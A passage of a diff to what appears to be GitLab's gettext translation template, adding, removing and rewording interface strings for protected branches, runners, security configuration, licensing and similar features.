-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
